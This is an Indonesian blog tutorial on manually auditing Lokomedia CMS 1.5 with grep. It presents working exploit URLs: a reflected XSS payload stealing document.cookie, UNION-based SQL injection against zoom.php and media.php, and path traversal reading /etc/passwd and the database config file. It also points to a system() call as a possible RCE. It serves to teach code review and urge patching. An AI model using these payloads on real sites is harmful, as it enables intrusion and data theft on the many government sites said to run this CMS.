Vulnerability Assessment studi kasus cms lokomedia

cukup sulit juga mencari judul untuk tulisan yang satu ini, selain saya sebagai pemula juga karena sedikit mangantuk karena tidak bobok udah dua hari dua malam, sehingga pemikiran sedikit galau stadium akhir :lol: saya memilih judul vulnerability assesment karena pada tulisan ini saya akan mencoba merobek - robek cms lokomedia versi 1.5 untuk mencari celah yang bisa di susupi, kenapa lokomedia ? kenapa bukan wordpress dan cms yang terkenal lainya ? jawabanya cukup simple karena pemerintah indonesia kebanyakan menggunakan cms lokomedia, dan saya berharap dengan tulisan ini pemerintah (khususnya pengelola websitenya dan yang terhormat mas lukmanul hakim) bisa segera melakukan penambalan di setiap tempat yang bolong, sekaligus saya juga ingin berbagi kepada warga indoensia tentang bagaiamana menemukan sebuah bug dalam Aplikasi berbasis web
mungkin saya bukanlah orang pertama yang menemukan bug pada cms lokomedia, pada versi-versi sebelumnya juga banyak yang menemukanya, disini saya hanya ingin berbagi bagaiaman memanfaatkan sumberdaya yang ada (free dan tidak berbayar), memang banyak tools-tools yang bertebaran di luar sana yang fungsinya cukup jitu untuk menemukan bug-bug pada aplikasi berbasis web, seperti nikto, wa3f, acunetix, kerinci, dan ratusan tools lainya baik berbayar maupun tidak, tetapi pada dasarnya sebuah software tidaklah bekerja sempurna 100% karena software juga merupakan buatan manusia dan bekerja atas dasar kondisi-kondisi dimana kondisi tersebut sudah di tentukan sebelumnya. menurut saya pribadi melakukan pencarian bug secara manual akan lebih terasa tantangannya daripada menemukan bug menggunakan tools yang ada, secara gamlang bisa kita katakan bahwa softwere tidaklah sempurna :lol:

Black Box vs White Box

sebelum kita melangkah lebih jauh mari kita kembali mengklrarifikasikan apa itu Black Box dan apa itu White Box, Black Box secara sederhana bisa dikatakan sebagai sekumpulan atau kelompok orang yang melakukan penetrasi terhadap sebuah system tanpa memiliki pengetahuan dan informasi dasar dari system yang akan di uji, sedangkan White Box adalah kebalikannya, yaitu kelomompok yang memiliki pengetahuan dan informasi dasar dari system yang akan di ujinya, kadang ada juga yang di sebut dengan Grey Box, Grey Box berada di antara Black Box dan White Box, untuk menjadi Bug Hunter saya rasa sudah jelas the real bug hunter yang mana dan The ecek-ecek bug hunter yang mana :lol:

The Bug-ing

Well akhirnya sampai juga ke topik utama kita, melakukan debuging terhadapa CMS lokomedia versi 1.5, untuk mengitkuti tulisan ini kita harus memiliki tujuan yang jelas, seperti misalnya mencari bug untuk XSS (cross site scripting), SQL injection, Local File Disclourse, Remote Command Injection dan lainya, dalam kasus ini kita akan mencoba menemukan beberapa di antaranya, kemudian kita perlu source code dari CMS lokomedia, bisa download aja langsung ke Situs Resmi Lokomedia, disini saya menggunakan System Operasi Ubuntu 10.10, karena kita akan mengguanakn utility build in dari ubuntu untuk melakukan the buging CMS lokomedia ini, setelah download langsung install saja

karena ini merupakan proses pencarian bug (celah keamanan) kita bisa mencobanya di komputer local tanpa harus khawatir terkena UU ITE yang menyebalkan, untuk tahap selanjutnya kita akan mencoba menggunakan perintah perintah grep untuk mulai melakukan debug, yang perlu di perhatikan adalah tempat instlasi cms lokomedia berada, di sini saya mengintallnya pada folder

/opt/lampp/htdocs/lokomedia

di karenaka cms lokomedia mengguanakan SEO untuk URLnya kita harus memahami terlebih dahulu MAP atau peta dari URI tersebut, karena pada dasarnya url yang telah di rewrite menggunakan .htaccess sudah menjadi bentuk yang bukan aslinya, misalnya seperti

http://localhost/lokomedia/berita-120-the-king-speech-saat-raja-belajar-bertutur-kata.html

http://localhost/lokomedia/kategori-21-ekonomi.html

http://localhost/lokomedia/semua-download.html

Uri tersebut sudah di rewrite (tulis ulang) sehingga menjadi lebih SEO (katanya sih gitu), jika kita perhatikan deretan uri tersebut kita bisa mengambil kesimpulan bahwa yang beruapa angka merupakan id atau kunci dari apa yang kita cari, jika uri-uri tersebut kita pecah menjadi beberapa bagian maka hasilnya akan seperti berikut

{host}/{uri_map}-{id_berita}-{judul_berita}.html

{host}/{uri_map}-{id_kategori}-{nama_kategori}.html

{host}/{uri_map}

{uri_map} merupakan rute url yang mengarah kepada file yang sebenarnya, dengan adanya {uri_map} maka akan sedikit sulit bagi attacker untuk mengetahui kemana sesungguhnya file itu akan di bawa, karena cms lokomedia mengguanakn jenis seperti itu kita harus melihat file .htaccess nya agar bisa melihat kemana saja arah dari {uri_map} yang ada, untuk itu buka saja dengan text editor file .htaccess yang berada dalam folder isntalasi cms lokomedia, jika tidak terlihat tekan tombol (ctrl+h) untuk memunculkan file yang bertipe hidden, berikut isi dari gile .htaccess cms lokoemdia

<ifmodule mod_rewrite.c="">

RewriteEngine on

RewriteRule ^home$ media.php?module=home [L]

RewriteRule ^galeri-(.*)\.html$ zoom.php?id=$1 [L]

RewriteRule ^album-([0-9]+)-(.*)\.html$ media.php?module=detailalbum&id=$1 [L]

RewriteRule ^berita-(.*)\.html$ media.php?module=detailberita&id=$1 [L]

RewriteRule ^agenda-(.*)\.html$ media.php?module=detailagenda&id=$1 [L]

RewriteRule ^statis-(.*)\.html$ media.php?module=halamanstatis&id=$1 [L]

RewriteRule ^hasil-pencarian\.html$ media.php?module=hasilcari&id=$1 [L]

RewriteRule ^indeks-berita\.html$ media.php?module=indeksberita&id=$1 [L]

RewriteRule ^hasil-poling\.html$ media.php?module=hasilpoling&id=$1 [L]

RewriteRule ^lihat-poling\.html$ media.php?module=lihatpoling&id=$1 [L]

RewriteRule ^profil-kami\.html$ media.php?module=profilkami&id=$1 [L]

RewriteRule ^hubungi-kami\.html$ media.php?module=hubungikami&id=$1 [L]

RewriteRule ^hubungi-aksi\.html$ media.php?module=hubungiaksi&id=$1 [L]

RewriteRule ^semua-berita\.html$ media.php?module=semuaberita&id=$1 [L]

RewriteRule ^halberita-(.*)\.html$ media.php?module=semuaberita&halberita=$1 [L]

RewriteRule ^kategori-(.*)\.html$ media.php?module=detailkategori&id=$1 [L]

RewriteRule ^halkategori-(.*)-([0-9]+)\.html$ media.php?module=detailkategori&id=$1&halkategori=$2 [L]

RewriteRule ^semua-agenda\.html$ media.php?module=semuaagenda&id=$1 [L]

RewriteRule ^halagenda-(.*)\.html$ media.php?module=semuaagenda&halagenda=$1 [L]

RewriteRule ^semua-download\.html$ media.php?module=semuadownload&id=$1 [L]

RewriteRule ^haldownload-(.*)\.html$ media.php?module=semuadownload&haldownload=$1 [L]

RewriteRule ^semua-album\.html$ media.php?module=semuaalbum&id=$1 [L]

RewriteRule ^halgaleri-([0-9]+)-(.*)\.html$ media.php?module=detailalbum&id=$1&halgaleri=$2 [L]

RewriteRule ^halkomentar-(.*)-([0-9]+)\.html$media.php?module=detailberita&id=$1&halkomentar=$2 [L]

Options All -Indexes

</ifmodule>

perhatikan lagi isi dari file .htaccess-nya, disana terdapat nama dari uri-map yang di rutekan kepada file lain, dintandai dengan deretan reguler expresi untuk menentukan beberapa kondisi, pada tahap awal ini sangatlah penting untuk memahami kemana saja arah dari uri-map tersebut, karena pada dasarnya tidak mungkin kita melakukan injeksi pada uri yang sudah di rewrite (tulis ulang), jika kita melakukanya maka server akan memberikan respon 404 (not Found) atau 301 (moved Permanent) atau bahkan 500 (internal sever Error) atau bahkan pesan porbidden, mari kita liat lagi perbandingan nya

#uri pada halaman web

http://localhost/lokomedia/berita-120-the-king-speech-saat-raja-belajar-bertutur-kata.html

#jika kita pisah per bagianya

{host}/{uri_map}-{id_berita}-{judul_berita}.html

#pada htaccess

RewriteRule ^berita-(.*)\.html$ media.php?module=detailberita&id=$1 [L]

sekarang sudah jelaskan ? ini maksudnya uri-uri tersebut bisa kita akses mengguanakn alamat uri aslinya sebelum di rewrite oleh htaccess, seperti yang saya tulis sebelunya kita tidak mungkin melakukan injeksi dengan alamat uri yang sudah di rewrite, tetapi kita bisa melakukan injeksi dengan menggunakan alamat uri aslinya, berikut perbandinganya

http://localhost/lokomedia/berita-120-the-king-speech-saat-raja-belajar-bertutur-kata.html

#sama dengan

http://localhost/lokomedia/media.php?module=detailberita&id=120

coba perhatikan uti pada gambar, hasilnya sama kan dengan menggunakan uri yang sudah di rewrite menggunakan .htaccess ?

Proses

sekarang kiita akan mencoba melakukan debuging terhadap source code cms lokomedia, kita akan melakukan pencarian variable-variable yang di bawa oleh paramter seperti $_GET, $_POST, $_SERVER, $_COOKOES, $_FILES, $_REQUEST dan yang lainya, karena pada bagian inilah yang paling sering terkena bug-bug seperti XSS dan SQL injection, kita bisa melakukannya mengguanakan perintah search yang ada pada text editor atau meggunakan fungsi grep pada linux (ubuntu), untuk tahap awal mari kita periksa dulu ubuntu kita sudah tersintall grep atau belum (secara default sudah ada), untk mengeceknya bisa menggunkan perintah grep -V jika hasilnya seperti gambar maka grep sudah terinstall

Mencari Bug XSS (cross site scripting)

Untuk tahap awal ini kita akan mencoba mencari celah untuk XSS, biasanya XSS terjadi karena tidak di filternya variable yang di bawa oleh paramater seperti yang di sebutkan di atas tadi, karena CMS lokomedia mengguanakn PHP sebagai enjinnya maka sudah pasti setiap ingin menampilkan hasil kelayar akan menggunakan perintah echo,print, atau print_r untuk itu kita akan menggunakan regular expresion pada grep untuk mencari semua listing program yang mengandung kata $_GET dan echo kemudian hasilnya akan kita simpan kedalam sebuah file yang nantinya kita analisis, pertma masuk dulu kedalam folder tempat dimana cms lokomedia terisntall, buka terminal dan ketikan perintah

khairu@green-ilands:~$ cd /opt/lampp/htdocs/lokomedia

dalam folder lokomedia sudah tentu banyak folder dan file-file yang tersdiri dari berbagai ektensi, seperti js, txt, php dan tanpa ektensi, kita akan mencoba mencari ke semua file tersebut secara recrusif (termasuk sub folder) yang ada didalamnya, untuk memulainya ketikan saja perintah seperti berikut di console terminal

#perintah dasarnya : grep [-opsi] [-opsi] "regex" | grep "string" >> tempat_nyimpan_file

khairu@green-ilands:/opt/lampp/htdocs/lokomedia$ grep -i -r "$_GET" * | grep "echo" >> /home/khairu/Desktop/tes_xss.txt

tunggu beberapa saat maka hasil grep akan tersimpan dalam sebuah file dengan nama tes_xss.txt yang terletak di desktop kita, untuk path silahkan si sesuaikan saja, setelah selesai buka file tes_xss.txt dan amati hasilnya, hasil yang saya peroleh seperti berikut

tinymcpuk/imagemanager/editor.php:<iframe src="editorFrame.php?img=<?php if(isset($_GET['img'])) echo rawurlencode($_GET['img']); ?>" name="editor" id="editor"  scrolling="auto" title="Image Editor" frameborder="0"></iframe>

tinymcpuk/filemanager/connectors/php/connector.php:         if ($fckphp_config['Debug_GET']) echo "$_GET::n".print_r($_GET,true)."<br />n";

tinymcpuk/filemanager/connectors/php/connector.php: echo str_replace("n","<br />",print_r($_GET,true));

Perhatikan hasil perncarian kita menggunakan grep tadi, dari hasilnya pada baris terakhir terdapat bug XSS yang ada di file tinymcpuk/filemanager/connectors/php/connector.php disana juga terdapat beberapa yang lainnya, terlihat variable $_GET akan di cetak ke layar menggunakan perintah print_r(), dan anehnya lagi variable $_GET tidak di beri nilai, ini artinya kita bisa memberikan nilai untuk variabel $_GET dengan nilai apa saja, mari kita coba di browser, untuk memastikan bug XSS ini, ketikan alamat berikut di browser

http://localhost/lokomedia/tinymcpuk/filemanager/connectors/php/connector.php

disana terdapat hasil yang menunjukan nilai Invalid command.Array(), ini karena kita belum memberikan nilai dari $_GET, ajas kerja XSS adalah menyisipkan kode-kode seperti javascript atau html, walapun efek XSS yang kita temukan ini tidak permanent tetapi tetap saja ini merupakan sebuah celah yang bisa di manfaatkan oleh para attacker jahat, sekarang mari kita coba meberikan nilai untuk variable $_GET berupa apa saja, dan perhatikan hasilnya di browser

http://localhost/lokomedia/tinymcpuk/filemanager/connectors/php/connector.php?nama=<h1>wenkhairu</h1>&xss=<script>alert(document.cookie)</script>

w00t Xss detected, ternyata analisis kita bener heheheh, masih ada XSS di CMS lokomedia, walapun sebenarnya ini hanya plugin dari bawaan tinymcupk tetap saja namanya lokomedia :lol: teman-teman bisa menilai sendiri ini bug nya lokomedia atau bukan, yang pasti tetap saja ini merupakan sebuah bug :)

SQL inejction

Sekarang kita akan mencoba menemukan Celah SQL injection pada cms Lokomedia, sebelunya saya harap teman-teman sudah memahami uri-map yang sebelunya sudah kita bahas di awal tadi, di sini kita tetap mengguanakan grep sebagai swiss army (alat perang) kita, kalo teman-teman mau mengguanakn text-editor juga tidak apa :) tetapi saya menyarankan mengguanakan grep karena selain tidak perlu isntall juga mudah dalam megguanakanya, oke sekarang kita memberikan perintah untuk mencari semua variable yang berasal dari $_GET atau $_POST, tetapi tidak di munculkan kelayar, biasanya hanya beruapa angak yang menunjukan kunci utama dari sebuah tabel di database, untuk itu kita memberikan peritah seperti berikut

khairu@green-ilands:/opt/lampp/htdocs/lokomedia$ grep -i -r "$_GET" *  >> /home/khairu/Desktop/tes_sql.txt

tunggu beberapa saat maka hasilnya akan tersimpan dalam file bernama tes_sql.txt di Desktop kita, setelah selesai buka file tersebut (agak banyak) untuk kita analis, lebih kurang hasilnya seprti berikut

breadcumb.php:if($_GET['module']=='home'){

breadcumb.php:elseif($_GET['module']=='detailberita'){

breadcumb.php:                        AND id_berita='$_GET[id]'");

breadcumb.php:elseif($_GET['module']=='detailkategori'){

breadcumb.php:  $detail =mysql_query("SELECT nama_kategori from kategori where id_kategori='$_GET[id]'");

dina_meta1.php:if (isset($_GET['id'])){

dina_meta1.php:    $sql = mysql_query("select judul from berita where id_berita='$_GET[id]'");

dina_meta2.php:if (isset($_GET['id'])){

dina_meta2.php:  $sql = mysql_query("select tag from berita where id_berita='$_GET[id]'");

dina_titel.php:if (isset($_GET['id'])){

dina_titel.php:    $sql = mysql_query("select judul from berita where id_berita='$_GET[id]'");

downlot.php:$filename = $_GET['file'];

kiri.php:  $ambil_id = substr($_GET['id'],0,4);

kiri.php:              WHERE id_berita='$_GET[id]'"); 

kiri.php:  $komentar = mysql_query("select count(komentar.id_komentar) as jml from komentar WHERE id_berita='$_GET[id]' AND aktif='Y'");

kiri.php:  $sql = mysql_query("SELECT * FROM komentar WHERE id_berita='$_GET[id]' AND aktif='Y' LIMIT $posisi,$batas");

kiri.php:       $jmldata     = mysql_num_rows(mysql_query("SELECT * FROM komentar WHERE id_berita='$_GET[id]' AND aktif='Y'"));

kiri.php:    $linkHalaman = $p->navHalaman($_GET['halkomentar'], $jmlhalaman);

kiri.php:  $jmldata     = mysql_num_rows(mysql_query("SELECT * FROM gallery WHERE id_album='$_GET[id]'"));

kiri.php:  $linkHalaman = $p->navHalaman($_GET['halgaleri'], $jmlhalaman);

kiri.php:elseif ($_GET['module']=='hubungikami'){

kiri.php:elseif ($_GET['module']=='hubungiaksi'){

kiri.php:elseif ($_GET['module']=='halamanstatis'){

kiri.php:                      WHERE id_halaman='$_GET[id]'");

zoom.php:$s = mysql_query("SELECT * FROM gallery WHERE id_gallery='$_GET[id]'");

wow banyak ya, ternyata semua file-file tersebut tidak di filter sama sekali, mari kita ambil salah satu contoh nya saja, yaitu pada bagian

zoom.php:$s = mysql_query("SELECT * FROM gallery WHERE id_gallery='$_GET[id]'");

Terlihat jelas ya bahwa semua tidak di filter, salah satunya file dengan nama zoom.php disana tampak bahwa variable $_GET[id] di letakan secara langsung untuk menangani sebuah query ke database, teman-teman pasti sudah tau impacnya dimana, yap sudah pasti terkena SQL injection, untuk itu mari kita coba buktikan kebenaranya, buka browser dengan alamat http://localhost/lokomedia/zoom.php kemudian kita beri nilai dari $_GET[id], sehingga bentuk dari url seperti berikut

http://localhost/lokomedia/zoom.php?id=9

jika kita menelusuri lebih jauh tentang SQL injection pastilah tulisan ini tidak akan pernah tuntas, untuk itu saya tidak membahas bagaiman teknik SQL injection itu di lancarkan saya rasa tulisan untuk itu sudah banyak yang membahasnya, hasil kahir dari bug yang di dapat dengan memberikan peritah seperti berikut adalah

http://localhost/lokomedia/zoom.php?id=9' and 1=0 union select 1,2,3,4,5,user()%23

memang agak aneh ya heheheh, hasilnya muncul di source code halaman, pada awalanya saa juga bingung, kemana tu hasilnya kok ga nongol, ternyata ada di source code nya, untuk melihat hasilnya bisa dengan menekan tombol (ctrl+u), nongol dah tu hasilnya, pada file yang lain juga terdapat SQL injection, tetapi sedikit advanced, karena merupakana Blind SQL injection, di tandai dengan tidak adanya pesan error yang muncul pada saat kita melakukan injeksi, salah satu contohnya seperti berikut

http://localhost/lokomedia/media.php?module=detailberita&id=122'
 AND 1=0 union select 
1,2,3,version(),5,6,database(),8,9,10,11,12,13,14,15,user(),17,18,19,20,21,22,23,24,25%23

hasil yang terlihat di gambar sangat jelas bahwa terbukti cms lokomedia versi 1.5 masih terkena bug SQL injection yang akibatnya cukup fatal, saya harap mas lukamnul hakim bisa cepat memperbaikinya, untk keterangan jelas tentang POC SQL injection ini bisa teman-teman lihat dalam bentuk video yang bisa di download di akhir tulisan saya ini, sekarng kita beralih ke bug selanjutnya

LFD

bug ini kalo saya tidak salah pada versi sebelumnya juga sudah ada, tetapi saya kurang begitu mengerti versi update dari cms lokomedia ini, mudah-mudahan bisa cepat di perbaiki saja, sekarang coba perhatikan lagi hasil grep kita pada file tes_sql.txt tadi terdapat sebuah baris yang menunjukan kemungkinan terjadinya celah LFD disana

downlot.php:$filename = $_GET['file'];

untuk mengujinya mari kita coba saja, apakah benar - benar terdapat bug LFD atau tidak, buka browser dengan alamat seperti berikut

http://localhost/lokomedia/downlot.php

hasil dari alamat tersebut akan normal saja, jika kita perhatikan soruce code file downlot.php maka kita bisa melakukan LFD dengan menambahkan injeksi nullbyte, masih bingung ? mari kita lihat sejenak source dari file downlot.php

if ($file_extension=='php'){

  echo "<h1>Access forbidden!</h1>

        <p>Maaf, file yang Anda download sudah tidak tersedia atau filenya (direktorinya) telah diproteksi. <br />

        Silahkan hubungi <a href='mailto:redaksi@bukulokomedia.com'>webmaster</a>.</p>";

  exit;

}

terlihat kan jika file yang kita download berupa file php maka akan keluar pesan yang menyatakan bla...bla...bla..., mungkin mas lukman kelupaan (takut di cekal), tetapi taukah anda bahwa kita masih bisa mendownload file php dengan menambahkan injeksi nulbyte sperti .jpg atau sejenisnya ? tidak percaya ? mari kita buktikan, buka browser dan tambahakn parameter seperti berikut

http://localhost/lokomedia/downlot.php?file=../../../../../../etc/passwd

http://localhost/lokomedia/downlot.php?file=../config/koneksi.php.txt

RCE ?

mungkinkah ? mari kita mencoba mencari kemungkinan terjadinya bug RCE yang ada pada cms lokomedia ini, karena menurut saya bug ini merupakan bug yang paling riskan dari semua yang sudah kita bahas sebelumnya,sekarang kita gunakan grep untuk mencari hasilnya dengan perintah seperti berikut

khairu@green-ilands:/opt/lampp/htdocs/lokomedia$ grep -i -r "system" *  >> /home/khairu/Desktop/tes_rce.txt

tunggu beberapa saat, file dengan nama tes_rce.txt akan hadir di dekstop kesaangan kita, begitu selesai langsung buka saja filenya untuk di analisis lebih lanjut, hasil dari penelusuran saya seperti berikut

tinymcpuk/imagemanager/Classes/NetPBM.php:        $output = system($cmd);

bagaiamana membuktikanya ? untuk hal yang satu ini saya serahkan kepada teman-teman semua :lol: silahkan di cari cara exploitasinya, jika berhadil maka ratussan web pemerintah yang menggunakan CMS lokomedia ini akan terancam jiawanya dan para pekerjanya juga bisa-bisa marah-marah, saya rasa sekian dulu dari saya mudah-mudah tulisan yang simple ini bisa menjadi bahan belajar buat bersama, saya tidak bermaksud membeberkan kelemahan yang ada, saya hanya mencoba memberikan penjelasan bangaimana sebernarnya cara mencari sebuah bug pada aplikasi web, karena saya melihat masih banyak yang bergantung kepada hasil scaning tools dan memanfaatkan resource-resource yang ada seperti exploit-db, jika mereka bisa menemukannya kenapa kita tidak ?
sekian dari saya, thanks for reading

SHARING ILMU "IT" BERSAMA bazComp

Iklan

Rabu, 07 November 2012